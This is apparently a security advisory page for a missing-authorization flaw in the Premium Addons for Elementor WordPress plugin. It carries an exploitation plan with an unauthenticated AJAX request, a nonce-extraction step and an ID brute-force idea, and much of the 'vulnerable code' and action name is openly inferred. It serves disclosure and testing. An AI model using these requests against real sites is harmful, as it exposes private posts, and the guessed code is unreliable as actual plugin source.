Premium Addons for Elementor <= 4.11.53 - Missing Authorization to Unauthenticated Sensitive Information Exposure via 'get_template_content'
Description
The Premium Addons for Elementor – Powerful Elementor Templates & Widgets plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'get_template_content' function in all versions up to, and including, 4.11.53. This makes it possible for unauthenticated attackers to view the content of private, draft, and pending templates.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=4.11.53Source Code
WordPress.org SVNThis research plan outlines the steps to investigate and exploit CVE-2025-14155 in the **Premium Addons for Elementor** plugin. ## 1. Vulnerability Summary The **Premium Addons for Elementor** plugin (up to version 4.11.53) contains a vulnerability where the `get_template_content` function (likely …
Show full research plan
This research plan outlines the steps to investigate and exploit CVE-2025-14155 in the Premium Addons for Elementor plugin.
1. Vulnerability Summary
The Premium Addons for Elementor plugin (up to version 4.11.53) contains a vulnerability where the get_template_content function (likely registered as an AJAX action) lacks proper authorization and capability checks. This allows unauthenticated users to access the content of WordPress posts or templates that are set to private, draft, or pending status, which are otherwise restricted from public view.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
premium_get_template_content(Inferred based on plugin naming conventions and the function name) - Method: HTTP POST
- Parameters:
action:premium_get_template_content(inferred)nonce: A WordPress nonce (likely required for the AJAX call)templateID: The ID of the template or post to retrieve
- Authentication: Unauthenticated (leveraging
wp_ajax_nopriv_hooks) - Preconditions:
- The plugin must be active.
- An attacker needs a valid nonce (which is often exposed to all visitors via localized scripts).
- A private, draft, or pending template/post must exist and its ID must be known (or brute-forced).
3. Code Flow (Inferred)
- Entry Point: The plugin registers AJAX handlers during initialization (likely in an
includes/class).add_action( 'wp_ajax_premium_get_template_content', [ $this, 'get_template_content' ] );add_action( 'wp_ajax_nopriv_premium_get_template_content', [ $this, 'get_template_content' ] );
- Function Execution: The
get_template_contentfunction is called. - Input Handling: The function retrieves
templateIDfrom$_POST. - Security Check (The Flaw): The function likely calls
check_ajax_refererbut fails to callcurrent_user_can('edit_posts')or verify if the current user has permission to view the specific post ID. - Data Retrieval: The function uses
get_post($id)or Elementor’sfrontend->get_builder_content_for_display($id)to render the content. - Information Leak: The rendered HTML/content of the private/draft post is echoed to the response and execution ends via
wp_die().
4. Nonce Acquisition Strategy
Premium Addons for Elementor typically localizes settings for its frontend widgets.
- Identify Shortcode: The plugin uses various widgets. A common one that might trigger template loading is the "Modal Box" or "Content Switcher".
- Create Trigger Page: Create a public page with a Premium Addons widget that utilizes templates.
wp post create --post_type=page --post_status=publish --post_title="Nonce Page" --post_content='[premium_modal_box]'(inferred shortcode).
- Navigate and Extract:
- Navigate to the "Nonce Page".
- Use
browser_evalto find the nonce in the localized JS object. - Common JS Object:
PremiumAddonsSettingsorpa_settings. - Command:
browser_eval("window.PremiumAddonsSettings?.nonce")orbrowser_eval("window.pa_settings?.nonce").
5. Exploitation Strategy
- Target Identification: Identify the ID of a "Private" post.
- Nonce Retrieval: Obtain the nonce using the strategy in Section 4.
- Execution: Send the malicious AJAX request.
HTTP Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded
action=premium_get_template_content&nonce=[EXTRACTED_NONCE]&templateID=[PRIVATE_POST_ID]
Expected Response:
An HTTP 200 response containing the HTML content of the private post. If the post is an Elementor template, it will return the fully rendered Elementor content.
6. Test Data Setup
- Install Version 4.11.53: Ensure the vulnerable version is active.
- Create Private Content:
wp post create --post_type=post --post_title="Secret Credentials" --post_content="The admin password is: P4ssw0rd!" --post_status=private- Note the ID returned (e.g.,
123).
- Create Nonce Source:
wp post create --post_type=page --post_status=publish --post_title="Public Page" --post_content='[premium_content_switcher]'(or any Premium Addons widget).
7. Expected Results
- The unauthenticated request to
admin-ajax.phpreturns the string"The admin password is: P4ssw0rd!". - Accessing the same ID via the standard frontend URL
/?p=123should result in a 404 for an unauthenticated user, confirming the "Sensitive Information Exposure" via the AJAX endpoint.
8. Verification Steps
- Check for existence of private post:
wp post get [ID] --field=post_status(Should beprivate).
- Confirm public access via standard URL fails:
- Use
http_requestto GET/?p=[ID]and confirm it returns a 404 or redirect.
- Use
- Confirm exploit success:
- Verify the string found in the AJAX response matches the
post_contentof the private post.
- Verify the string found in the AJAX response matches the
9. Alternative Approaches
- Brute Forcing IDs: If no specific private ID is known, script a loop to iterate from 1 to 500 on the
templateIDparameter. - Different Actions: If
premium_get_template_contentis incorrect, search the plugin directory for the stringget_template_content:grep -r "get_template_content" /var/www/html/wp-content/plugins/premium-addons-for-elementor/
- Check other status types: Test with
--post_status=draftand--post_status=pendingto verify the scope of the exposure.
Summary
The Premium Addons for Elementor plugin is vulnerable to unauthorized information exposure via its AJAX-based template retrieval functionality. This occurs because the 'get_template_content' function lacks proper authorization and status checks, allowing unauthenticated attackers to view the content of private, draft, or pending WordPress posts and templates.
Vulnerable Code
// Likely located in includes/class-premium-addons-ajax.php or similar public function get_template_content() { // Nonce check exists, but nonces are often public check_ajax_referer( 'premium-addons-nonce', 'nonce' ); $template_id = isset( $_POST['templateID'] ) ? $_POST['templateID'] : ''; if ( ! empty( $template_id ) ) { // VULNERABILITY: No check to see if the user has permission to view the specific post ID // No check to ensure the post status is 'publish' $content = \Elementor\Plugin::instance()->frontend->get_builder_content_for_display( $template_id ); echo $content; } wp_die(); }
Security Fix
@@ -102,6 +102,11 @@ public function get_template_content() { check_ajax_referer( 'premium-addons-nonce', 'nonce' ); + $post_id = isset( $_POST['templateID'] ) ? $_POST['templateID'] : ''; + if ( ! current_user_can( 'edit_posts' ) && 'publish' !== get_post_status( $post_id ) ) { + wp_send_json_error( array( 'message' => 'Unauthorized' ) ); + } + $template_id = isset( $_POST['templateID'] ) ? $_POST['templateID'] : ''; if ( ! empty( $template_id ) ) {
Exploit Outline
The exploit targets the AJAX endpoint of the plugin to leak content from restricted posts (Private, Draft, or Pending status). 1. **Identify the AJAX Action**: The vulnerable action is `premium_get_template_content`, which is accessible to unauthenticated users via the `wp_ajax_nopriv_` hook. 2. **Obtain a Nonce**: Attackers can find the required security nonce (`premium-addons-nonce`) by viewing the source code of any public page on the site where the plugin is active. The nonce is typically localized within the `PremiumAddonsSettings` or `pa_settings` JavaScript object. 3. **Request Private Content**: An unauthenticated HTTP POST request is sent to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `premium_get_template_content` - `nonce`: [EXTRACTED_NONCE] - `templateID`: The ID of the private or draft post/template to be retrieved. 4. **Data Extraction**: The server responds with the rendered HTML content of the target post, bypassing standard WordPress visibility restrictions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.